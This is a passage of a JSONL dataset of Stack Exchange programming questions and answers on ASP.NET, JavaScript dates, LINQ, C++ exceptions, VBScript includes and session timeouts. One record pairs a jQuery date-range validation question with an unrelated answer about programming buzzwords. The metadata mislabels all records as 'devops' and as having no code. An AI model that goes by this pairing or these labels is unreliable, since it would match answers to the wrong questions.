options:\ndon't use \"using\"\nsubclass the proxy and override Dispose()\nwrap it, as per the blog", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.968298"}
{"id": "hf_e16a1942a374", "question": "<p>I want to use this pure HTML/CSS template for my ASP.NET website:</p>\n\n<p><a href=\"http://sub3.tanguay.de\" rel=\"nofollow noreferrer\">http://sub3.tanguay.de</a></p>\n\n<p>I copy it inside my Default.aspx page, inside the FORM element, but the form messes up the layout:</p>\n\n<p><a href=\"http://sub2.tanguay.de\" rel=\"nofollow noreferrer\">http://sub2.tanguay.de</a>\n<br/>\n<strong>UPDATE: this now displays correctly, thanks to Devio.</strong></p>\n\n<p>I tried altering the style of the form tag but can't get it to stop affecting the layout, I tried:</p>\n\n<pre><code>style=\"margin: 0px; padding: 0px; display: inline; background-color: transparent;\"\n</code></pre>\n\n<ul>\n<li>Is this a common issue when copying in layout templates into ASP.NET?</li>\n<li>Is there an easy work around, like some margin:-2px fix or something like that?</li>\n<li>I need to keep the form tag, of course, for the ASP.NET functionality.</li>\n</ul>\n", "question_body": "", "answer": "1) try removing the background-color attribute from the form class:\n```\n```\nform {\n    margin:10px; padding: 0;\n    border: 1px solid #f2f2f2; \n    background-color: #FAFAFA; /* remove this */\n}\n```\n```\n2) you cannot nest forms, but the searchform is contained inside the ASP.Net form, and ASP.Net requires exactly one form tag per page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.024318"}
{"id": "hf_121b1d02e5fa", "question": "<p>I've been using this function but I'd like to know what's the most efficient and accurate way to get it.</p>\n\n<pre><code>function daysInMonth(iMonth, iYear) {\n   return 32 - new Date(iYear, iMonth, 32).getDate();\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfunction daysInMonth (month, year) { // Use 1 for January, 2 for February, etc.\n  return new Date(year, month, 0).getDate();\n}\n\nconsole.log(daysInMonth(2, 1999)); // February in a non-leap year.\nconsole.log(daysInMonth(2, 2000)); // February in a leap year.\n```\n```\nDay 0 is the last day in the previous month. Because the month constructor is 0-based, this works nicely. A bit of a hack, but that's basically what you're doing by subtracting 32.\nSee more :\nNumber of days in the current month", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.082462"}
{"id": "hf_c50b4b91a16d", "question": "<p>I' trying to use a Linq query to find and set the selected value in a drop down list control.</p>\n\n<pre><code> Dim qry = From i In ddlOutcome.Items _\n           Where i.Text.Contains(value)\n\n\n Dim selectedItem As ListItem = qry.First\n\n ddlOutcome.SelectedValue = selectedItem.Value\n</code></pre>\n\n<p>Even though the documentation says that the DropDownList.Items collection implements IEnumerable I get an error in the Where clause that Option Strict ON disallows late binding!</p>\n", "question_body": "", "answer": "My vb.net is shaky, (c# guy) but try:\n```\n```\nDim qry = From DirectCast(i, ListItem) In ddlOutcome.Items ...\n```\n```\nI may have the DirectCast syntax wrong, but you know where I'm coming from. The problem is that at compile time, Items is not verifiable as as a collection of ListItem because IEnumerable's Current property returns Object. Items is not a generic collection.\n-Oisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.141043"}
{"id": "hf_5a01d3962e8e", "question": "<p>Suppose you create a generic Object variable and assign it to a specific instance. If you do GetType(), will it get type Object or the type of the original class?</p>\n", "question_body": "", "answer": "Yes.\nYou can also do:\n```\n```\nobject c = new FooBar();\nif(c is FooBar)\n     Console.WriteLine(\"FOOBAR!!!\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.233165"}
{"id": "hf_439caaa9c7fb", "question": "<p>What books would you guys recommend if one has been a java developer for years and is now trying to take the c#/asp.net route?</p>\n", "question_body": "", "answer": "I find\nPro C# with .NET 3.0, Special Edition \n  by Andrew Troelsen \n  Apress © 2007 (1238 pages)\n  ISBN:9781590598238\nto be an excellent book.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.256496"}
{"id": "hf_f71889c727d6", "question": "<p>Is there any reason to avoid using <code>text-align: justify;</code>?  </p>\n\n<p>Does it reduce readability or cause problems?</p>\n", "question_body": "", "answer": "I prefer left justification (text-align: left) because it's generally more readable.  It's also quicker to read evenly-spaced words, so I hear.  Unless you have a stylistic reason for using justify, keep it left, right, or center.  Especially for body text, use left.  (Actually, you'd want something like \"forward\" for text in the other direction (e.g. Hebrew)...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.278920"}
{"id": "hf_79f77bc21832", "question": "<p>When and why would somebody do the following:</p>\n\n<pre><code>doSomething( (MyClass) null );\n</code></pre>\n\n<p>Have you ever done this? Could you please share your experience?</p>\n", "question_body": "", "answer": "If\n```\ndoSomething\n```\nis overloaded, you need to cast the null explicitly to\n```\nMyClass\n```\nso the right overload is chosen:\n```\n```\npublic void doSomething(MyClass c) {\n    // ...\n}\n\npublic void doSomething(MyOtherClass c) {\n    // ...\n}\n```\n```\nA non-contrived situation where you need to cast is when you call a varargs function:\n```\n```\nclass Example {\n    static void test(String code, String... s) {\n        System.out.println(\"code: \" + code);\n        if(s == null) {\n            System.out.println(\"array is null\");\n            return;\n        }\n        for(String str: s) {\n            if(str != null) {\n                System.out.println(str);\n            } else {\n                System.out.println(\"element is null\");\n            }\n        }\n        System.out.println(\"---\");\n    }\n\n    public static void main(String... args) {\n        /* the array will contain two elements */\n        test(\"numbers\", \"one\", \"two\");\n        /* the array will contain zero elements */\n        test(\"nothing\");\n        /* the array will be null in test */\n        test(\"null-array\", (String[])null); \n        /* first argument of the array is null */\n        test(\"one-null-element\", (String)null); \n        /* will produce a warning. passes a null array */\n        test(\"warning\", null);\n    }\n}\n```\n```\nThe last line will produce the following warning:\nExample.java:26: warning: non-varargs\n  call of varargs method with inexact\n  argument type for last parameter;\ncast to\n```\njava.lang.String\n```\nfor a varargs\n  call\ncast to\n```\njava.lang.String[]\n```\nfor a\n  non-varargs call and to suppress this\n  warning", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.302468"}
{"id": "hf_695cbb75a88b", "question": "<p>I want to create a Rails (2.1 and 2.2) model with ActiveRecord validations, but without a database table.  What is the most widely used approach?  I've found some plugins that claim to offer this functionality, but many of them don't appear to be widely used or maintained.  What does the community recommend I do?  Right now I am leaning toward coming up with my own solution based on <a href=\"http://www.prestonlee.com/2007/12/29/rails-20-validations-without-extending-activerecordbase/\" rel=\"noreferrer\">this blog post</a>.</p>\n", "question_body": "", "answer": "just create a new file ending in \".rb\" following the conventions you're used to (singular for file name and class name, underscored for file name, camel case for class name) on your \"models/\" directory. The key here is to not inherit your model from ActiveRecord (because it is AR that gives you the database functionality).\ne.g.: for a new model for cars, create a file called \"car.rb\" in your models/ directory and inside your model:\n```\n```\nclass Car\n    # here goes all your model's stuff\nend\n```\n```\nedit: btw, if you want attributes on your class, you can use here everything you use on ruby, just add a couple lines using \"attr_accessor\":\n```\n```\nclass Car\n    attr_accessor :wheels # this will create for you the reader and writer for this attribute\n    attr_accessor :doors # ya, this will do the same\n\n    # here goes all your model's stuff\nend\n```\n```\nedit #2: after reading Mike's comment, I'd tell you to go his way if you want all of the ActiveRecord's functionality but no table on the database. If you just want an ordinary Ruby class, maybe you'll find this solution better ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.326564"}
{"id": "hf_a8191442c3d4", "question": "<p>Writing a ton of web applications leveraging JSON/AJAX, I find myself returning tons literal javascript objects (JSON).  For example, I may be request all the Cats from GetCats.asp.  It would return:</p>\n\n<pre>\n[\n  { 'id': 0, 'name': 'Persian' },\n  { 'id': 1, 'name': 'Calico' },\n  { 'id': 2, 'name': 'Tabby' }\n]\n</pre>\n\n<p>Now, these are all Cat objects with behaviors.  However, if I define a Cat object, function Cat() { }, I know of no EFFICIENT way to coax these literal objects into the behaviors of a user defined object.  </p>\n\n<p>I can do this by brute force of iterating through them and assigning functions, but it's not going to be pretty.  Is there a nice, one line(or few), way of somehow \"casting\" this behavior onto these literal objects?</p>\n", "question_body": "", "answer": "There's no getting around the fact that you will have to iterate through all of your simple objects and change them to a different kind of object.  You cannot avoid the loop.  That being said you could create a constructor that takes a simple object like this and copies those values into the new instance.\nLike this:\n```\n```\nfunction Cat(c) {\n  this.id = c.id;\n  this.name = c.name;\n}\nCat.prototype.meow = function() {alert('meow');}\nCat.prototype.displayName= function() {alert(this.name);}\n\nvar cats = [\n  { 'id': 0, 'name': 'Persian' },\n  { 'id': 1, 'name': 'Calico' },\n  { 'id': 2, 'name': 'Tabby' }\n];\n\nfor (i=0,len=cats.length; i<len; i++) {\n  cats[i] = new Cat(cats[i]);\n}\n\ncats[0].meow();  // displays \"meow\"\ncats[0].displayName();  // display \"Persian\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.385661"}
{"id": "hf_d08b7f949e7f", "question": "<p>I recently posted a question about Azure... <a href=\"https://stackoverflow.com/questions/315879/is-azure-an-operating-system-or-a-framework\">is it really an OS?</a>  I understand the technical details, and I got a lot of fuzzy answers... I really want to know... what do you think is the difference between an OS and a Framework?</p>\n\n<p>Just for reference, Azure will be built on top of Hyper-V servers and the virtual machines will be running vanilla Windows Server 2008.  It will run services that creates a cloud on top of the many virtual machines which is called Azure.  Windows is calling Azure an OS.  </p>\n\n<p>I am trying to understand how to define the difference between an OS and a framework.</p>\n", "question_body": "", "answer": "An OS is the thing that directly interfaces with the machine, be it virtual or real. It has to expose syscalls that handle input devices, output devices, sound, networking, and all the other things that we take for granted these days. It also often provides some kind of UI which uses these services to make it easy to use/useful for an end-user. It needs to have device drivers to work with video cards, sound cards, etc. (Once again, these can be virtualized).\nA framework is... something built on top of the OS. It, too, exposes an API, but they are often not so low-level as the one the OS exposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.436647"}
{"id": "hf_af013948c937", "question": "<p>I have a table User which has an identity column <code>UserID</code>, now what is the correct Linq to Entity line of code that would return me the max <code>UserID</code>?</p>\n\n<p>I've tried:</p>\n\n<pre><code>using (MyDBEntities db = new MyDBEntities())\n{\n    var User = db.Users.Last();\n    // or\n    var User = db.Users.Max();\n\n    return user.UserID;\n}\n</code></pre>\n\n<p>but <code>Last</code> and <code>Max</code> don't seem to be supported.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Do that like this\n```\n```\ndb.Users.OrderByDescending(u => u.UserId).FirstOrDefault();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.471337"}
{"id": "hf_9769a9e264ab", "question": "<p>Is there a c++ equivalent of Java's</p>\n\n<pre><code>try {\n    ...\n}\ncatch (Throwable t) {\n    ...\n}\n</code></pre>\n\n<p>I am trying to debug Java/jni code that calls native windows functions and the virtual machine keeps crashing.  The native code appears fine in unit testing and only seems to crash when called through jni.  A generic exception catching mechanism would prove extremely useful.</p>\n", "question_body": "", "answer": "```\n```\ntry {\n   // ...\n} catch (...) {\n   // ...\n}\n```\n```\nNote that the\n```\n...\n```\ninside the\n```\ncatch\n```\nis a real ellipsis, ie. three dots.\nHowever, because C++ exceptions are not necessarily subclasses of a base\n```\nException\n```\nclass, there isn't any way to actually see the exception variable that is thrown when using this construct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.494674"}
{"id": "hf_da807da036ba", "question": "<p>I am currently working in C#, and I need to insert a new record into one table, get the new primary key value, and then use that as a foreign key reference in inserting several more records. The Database is MS SQL Server 2003. All help is appreciated!</p>\n", "question_body": "", "answer": "The best way of doing this is the use SCOPE_IDENTITY() function in TSQL.  This should be executed as part of the insert i.e.\n```\n```\nSqlCommand cmd = new SqlCommand(@\"\n    INSERT INTO T (Name) VALUES(@Name)\n    SELECT SCOPE_IDENTITY() As TheId\", conn);\ncmd.AddParameter(\"@Name\", SqlDbType.VarChar, 50).Value = \"Test\";\nint tId = (int)cmd.ExecuteScalar();\n```\n```\nAlternatively you can assign SCOPE_IDENTITY() to a variable to be used in successive statements. e.g.\n```\n```\nDECLARE @T1 int\n\nINSERT INTO T (Name) VALUES('Test')\n\nSELECT @T1 = SCOPE_IDENTITY() \n\nINSERT INTO T2 (Name, TId) VALUES('Test', @T1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.517437"}
{"id": "hf_d7a11f0049b4", "question": "<p>I'm new to using LINQ to Entities (or Entity Framework whatever they're calling it) and I'm writing a lot of code like this:</p>\n\n<pre><code>var item = (from InventoryItem item in db.Inventory\n            where item.ID == id\n            select item).First&lt;InventoryItem&gt;();\n</code></pre>\n\n<p>and then calling methods on that object like this:</p>\n\n<pre><code>var type = item.ItemTypeReference;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>var orders = item.OrderLineItems.Load();\n</code></pre>\n\n<p>to retrieve child or related objects.</p>\n\n<p>I haven't profiled the DB or dug too deeply but my guess is that when I call a .Load() or a *Reference property I'm actually making another call to the DB.  If this is the case, is there any way to get those objects in my initial LINQ expression?</p>\n", "question_body": "", "answer": "You want to use the .Include(string) method references in this\n\"Shaping query results\"\narticle.\n```\n```\nvar item = from InventoryItem item in\n              db.Inventory.Include(\"ItemTypeReference\").Include(\"OrderLineItems\")\n           where item.ID == id\n           select item;\n```\n```\nThere is probably a \"sql\" style syntax for the Includes as well.\nAlso see this\narticle\nabout moving from LINQ-to-SQL to LINQ-to-Entities.\nFor others looking for a solution to this problem for\nLinq to SQL\nyou want to do the following (Substitute DataContext and other types for whatever you have):\n```\n```\nusing (DataContext db = new DataContext())\n{\n    DataLoadOptions options = new DataLoadOptions();\n    options.LoadWith<InventoryItem>(ii => ii.ItemTypeReference);\n    options.LoadWith<InventoryItem>(ii => ii.OrderLineItems);\n    db.LoadOptions = options;\n\n    var item = from InventoryItem item in db.Inventory\n               where item.ID == id\n               select item;\n}\n```\n```\nThis will load the properties specified in LoadWith whenever the parent item (InventoryItem) is loaded, for that particular context.\nIn response to some further questions from James and Jesper, check out this\nquestion", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.563271"}
{"id": "hf_c64af05bd93e", "question": "<p>I have a Gridview boundfield where i set ReadOnly to true because i don't want user to change its value. However on the objectdatasource control's update method that boundfield became null when i try to use it as parameter in update method. Is there a way to set that value during updating?</p>\n", "question_body": "", "answer": "When you mark a field as read-only on the GridView it renders on the page as a span element, not an input.  Therefore the value is not available on PostBack.  If you can construct the update statement so that it doesn't expect this field, that would be the best way to deal with this.  If the update statement is autogenerated and you can't get around having the value to update, then you can either read the value from the database before doing the update (so that you have it) or include a HiddenField bound to this column and use a literal that obtains the value via Eval instead of binding (if necessary).  This will require using a template.\n```\n```\n<asp:TemplateField>\n    <InsertItemTemplate>\n      <asp:TextBox runat=\"server\" ID=\"itemTextBox\" />\n    </InsertItemTemplate>\n    <EditItemTemplate>\n      <asp:HiddenField runat=\"server\" ID=\"itemHF\" Value='<% Bind(\"Item\") %>' />\n      <asp:Label runat=\"server\" ID=\"itemLabel\" Text='<% Eval(\"Item\") %>' />\n    </EditItemTemplate>\n    <ItemTemplate>\n       <asp:Label runat=\"server\" ID=\"itemLabel\" Text='<% Bind(\"Item\") %>' />\n    </ItemTemplate>\n</asp:TemplateField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.587024"}
{"id": "hf_917dbbce7ab3", "question": "<p>There are a few things that I almost always do when I put a class together in C++.</p>\n\n<p>1) Virtual Destructor\n2) Copy constructor and assignment operator (I either implement them in terms of a private function called Copy(), or declare them private and thus explicitly disallow the compiler to auto generate them).</p>\n\n<p>What things do you find are almost always useful?</p>\n", "question_body": "", "answer": "Often,\n```\n```\noperator string () const;\n```\n```\nor\n```\n```\nfriend ostream& operator << (ostream&, const MyClass&);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.610823"}
{"id": "hf_9c07818ddd37", "question": "<p>I'm working on something that requires traversing through the file system and for any given path, I need to know how 'deep' I am in the folder structure. Here's what I'm currently using:</p>\n\n<pre><code>int folderDepth = 0;\nstring tmpPath = startPath;\n\nwhile (Directory.GetParent(tmpPath) != null) \n{\n    folderDepth++;\n    tmpPath = Directory.GetParent(tmpPath).FullName;\n}\nreturn folderDepth;\n</code></pre>\n\n<p>This works but I suspect there's a better/faster way? Much obliged for any feedback.</p>\n", "question_body": "", "answer": "Off the top of my head:\n```\n```\nDirectory.GetFullPath().Split(\"\\\\\").Length;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.669630"}
{"id": "hf_9ae48c45c217", "question": "<p>It took me some time, but I've finally managed to write down all the tasks that need to go into Version 1.0 of the software product I'm working on. </p>\n\n<p>The list is almost 1000 items long.</p>\n\n<p>We are a 3-person team, and we've somehow managed to get this far using MindMeister, Google Docs, @todos in the code etc. Now, I have everything neatly grouped by feature, but how do I prioritize all this and turn it into a schedule?</p>\n\n<p>Any advice would be greatly appreciated - I'm not looking for software recommendations, however - I'm seeking advice on how to take this enormous bag of tasks - ranging from bug-fixes to application modules - and find out in what order I should do them.</p>\n", "question_body": "", "answer": "My recommended approach will be based on Agile methodology best practices...\nSo, you have what in Agile terms is called a \"backlog\" defined- that's great - and an important first step.\nA good Agile pace that is commonly used is a 2-3 week iteration length...and at the end you have a set of releasable features.  This will establish the \"heartbeat\" of your development process. Next, you'll decided how to organize and group the features into Stories and Tasks.\nYou'll want to grow the underlying architecture and let it naturally emerge based on the ordering of the Stories and Tasks that you select from your backlog.\nIts important to mitigate risks early - so you'll want to select early those items that are either performance or implementation unknowns that might pose the largest risk - and could result in the largest rework impact.  For example - establishing the messaging infrastructure - might be an early architectural feature that might be included if you select a Story that required a persistent message to be delivered to complete a unit of work.\nCan you group the set of features into functional categories that might naturally evolve to describe the 1.0 release as a System of Systems?  For example, the Administrative functions, the User Profile Management, Reporting, external integration layers, Database Access Objects, etc.\nWhat are the simplest Story / Use Cases that you can write - that will map to some of the ~1,000 features / requirements you've defined?  Select a set of Stories (or individual Tasks from a Story - if the Story itself is too large to implement in a single interation).  It will take some additional effort - but recomposing your requirements into a set of Stories/Tasks is important.\nYou'll find that you will refactor during subsequent interations - but that your steady 2-week heartbeat iteration schedule will keep delivering real functionality.\nAt various points you may want to schedule an architecture iteration just to focus on some cleaning-up / refactoring - and that's ok too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.773741"}
{"id": "hf_ba594cd1c1e5", "question": "<p>I am using the <a href=\"http://ui.jquery.com/repository/latest/demos/functional/#ui.datepicker\" rel=\"nofollow noreferrer\">date picker provided by jQuery UI</a> to select a date range that ends up in a  single text input with something like 11/11/2008 - 12/05/2008. What would you recommend as far a validation (jQuery/JavaScript) on the client side as well as code for validation on the server side (ASP.NET/C#) to make sure the user enters valid dates?</p>\n\n<p>Note I <a href=\"https://stackoverflow.com/questions/311576/parsing-a-date-range-in-c-aspnet\">asked a question on Stack Overflow</a> the other day about how to parse out the two dates using C# if your interested.</p>\n", "question_body": "", "answer": "That tends to happen with every \"next big thing.\" Lots of hype, followed by a slow decline in the use of the buzzword. But, even though buzzwords fade and eventually disappear, whatever good ideas were behind them tend to stick around to be absorbed into the mainstream.\n[\nEdit\n] Okay, an example for those who think I'm \"bashing\" something, or claiming that aspect oriented programming is going to disappear. At one time the next big thing was structured programming. Object oriented programming grew out of that, and now nobody\ntalks\nabout doing \"structured programming\" any more. But, in many ways we're still using its best ideas, because OOP adopted them, improved them, and added still more new ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.839147"}
{"id": "hf_bddfdd12cdc0", "question": "<p>How do I hide the <strong>prev/today/next</strong> navigation in jQuery DatePicker?</p>\n\n<p>I'm happy with just the Month and Year drop down boxes.</p>\n\n<p>Also how do I disable the animations?</p>\n\n<p><a href=\"https://stackoverflow.com/questions/316147/how-do-i-hide-the-nexttodayprevious-navigation-in-jquery-datepicker-and-turn-of#316153\">@tvanfosson</a> - I already tried <code>hideIfNoPrevNext</code> but that only works if you don't have a date range that spans two months. </p>\n\n<p>The duration option did the trick at turning off the animations though. </p>\n\n<p>Cheers.</p>\n", "question_body": "", "answer": "You can find the options for the DatePicker control at\nhttp://docs.jquery.com/UI/Datepicker/datepicker#options\n.  Specifically, I think you want to set hideIfNoPrevNext to true and set duration to ''.\n```\n```\n$('#cal').datepicker( { hideIfNoPrevNext: true, duration: '' } );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.874883"}
{"id": "hf_e46074af135e", "question": "<p>I have an nmake-based project which in turn calls the asp compiler, which can throw an error, which nmake seems to recognize:</p>\n\n<pre><code>NMAKE : fatal error U1077: 'C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_compiler.exe' : return code '0x1'\n</code></pre>\n\n<p>However, when I call nmake from within a batch file, the environment variable %ERRORLEVEL% remains set at zero:</p>\n\n<pre><code>nmake /NOLOGO\necho BUILD RETURNING: %ERRORLEVEL%  \n</code></pre>\n\n<p>If I control-c the nmake task, I do end up getting a non-zero ERRORLEVEL (it's set to 2) so my assumption is that I'm able to catch errors okay, but nmake isn't bubbling up the non-zero exit code from it's task.  Or, at least, I'm mis-trapping it.  Any help would be appreciated.</p>\n", "question_body": "", "answer": "First thing, please post your batch file so we can see how you trap the error.\nAlso comment this post so I can read it again.\nAs a first git, i'd guess something like:\nnmakebatch.cmd\nusual nmake arguments, without /NOLOGO\n```\n```\n@echo off\nrem Args[x]: nmake arguments\necho.>> %~n0.log\necho %date% %time%>> %~n0.log\necho nmake /NOLOGO %*>> %~n0.log\nnmake /NOLOGO %*\necho %errorlevel%>> %~n0.log\n```\n```\nIs a start for trapping all situations, into a incrementing log, while building.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.898284"}
{"id": "hf_b0082b5a4d70", "question": "<p>VBScript doesn't appear to have a way to include a common file of functions.</p>\n\n<p>Is there a way to achieve this?</p>\n", "question_body": "", "answer": "You can create a (relatively) small function in each file that you want to include other files into, as follows:\n```\n```\nsub includeFile (fSpec)\n    dim fileSys, file, fileData\n    set fileSys = createObject (\"Scripting.FileSystemObject\")\n    set file = fileSys.openTextFile (fSpec)\n    fileData = file.readAll ()\n    file.close\n    executeGlobal fileData\n    set file = nothing\n    set fileSys = nothing\nend sub\n```\n```\nand then use it to include specific files - these are executed as if they were inline.\n```\n```\nincludeFile \"commonapi.vbi\"\nincludeFile \"dbcalls.vbi\"\n```\n```\nIt basically opens the file, reads the entire contents into a string, then executes that string. There's no error handling on the I/O calls since this sort of stuff is usually done once on program start, and you want to fail if there's a problem including it.\nNote that the\n```\nincludeFile\n```\nfunction can be compressed to:\n```\n```\nSub includeFile(fSpec)\n    With CreateObject(\"Scripting.FileSystemObject\")\n       executeGlobal .openTextFile(fSpec).readAll()\n    End With\nEnd Sub\n```\n```\nOr even to (if you're not adverse to long lines):\n```\n```\nSub includeFile(fSpec)\n    executeGlobal CreateObject(\"Scripting.FileSystemObject\").openTextFile(fSpec).readAll()\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.933822"}
{"id": "hf_1a16375b555c", "question": "<p>I'm trying to increase the timeout on all sessions.  The site is hosted with Godaddy, and it is written in Flash (client side of course) and asp.net on the backend.  I've added this to my web.config, </p>\n\n<pre><code>&lt;sessionState timeout=\"720\"&gt;\n\n&lt;/sessionState&gt;\n</code></pre>\n\n<p>Is that really all that I need to do?  I'd prefer to not let sessions expire ever, but I'm sure that the server needs to reclaim that memory at some point...I'm not storing anything in the session, really, just using it to track users' progress through the site, and if a user is logged in or not.</p>\n\n<p>Thanks for any pointers...all the documentation seems deceptively simple, and it kind of makes me nervous...</p>\n", "question_body": "", "answer": "Yup!\nAs in; Yes, that's the only thing you need to do...\nTo get \"never ending timeouts\" you'd have to create a background HTTP request (which will transmit the session cookie) back to the server every 719 minute though. Though theoretically then you'd also have to have \"Out of Process\" sessions using e.g. some sort of database or something...\nOr you could roll your own session handler, I think APS.NET have support for this through using some sort of adapter pattern or something, but I am not sure. Then you could have a \"truly\" never ending session...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:30.957331"}
{"id": "hf_ce61c2f9d44d", "question": "<p>I am trying to understand the process of declaration and assignment of a primitive type at the back stage.</p>\n\n<ol>\n<li><code>int i;</code></li>\n<li><code>i = 3;</code></li>\n</ol>\n\n<p>For 1),  on the memory stack, it assigns a space for storing an int type value named i\nFor 2),  it assigns the value 3 to the space preserved above</p>\n\n<p>Is there a memory address there?\nFrom my impression, memory address is always associated with the objects on the heap?</p>\n\n<p><strong>Update:</strong></p>\n\n<p>Regarding the replies: </p>\n\n<p>So, for every variable on the stack, they are all assigned a memory address as well just like the objects on the heap. Am I correct?</p>\n\n<p>But for Java, this is not the case?</p>\n", "question_body": "", "answer": "Assuming you're talking about C or C++ (I can't tell), yes. You can access the address like so:\n```\n```\nint i = 3;\n\nint *k = &i; // k now is a pointer to i\n\n*k = 4; // assigns the value k points to (i) to 4, i is now 4\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.014571"}
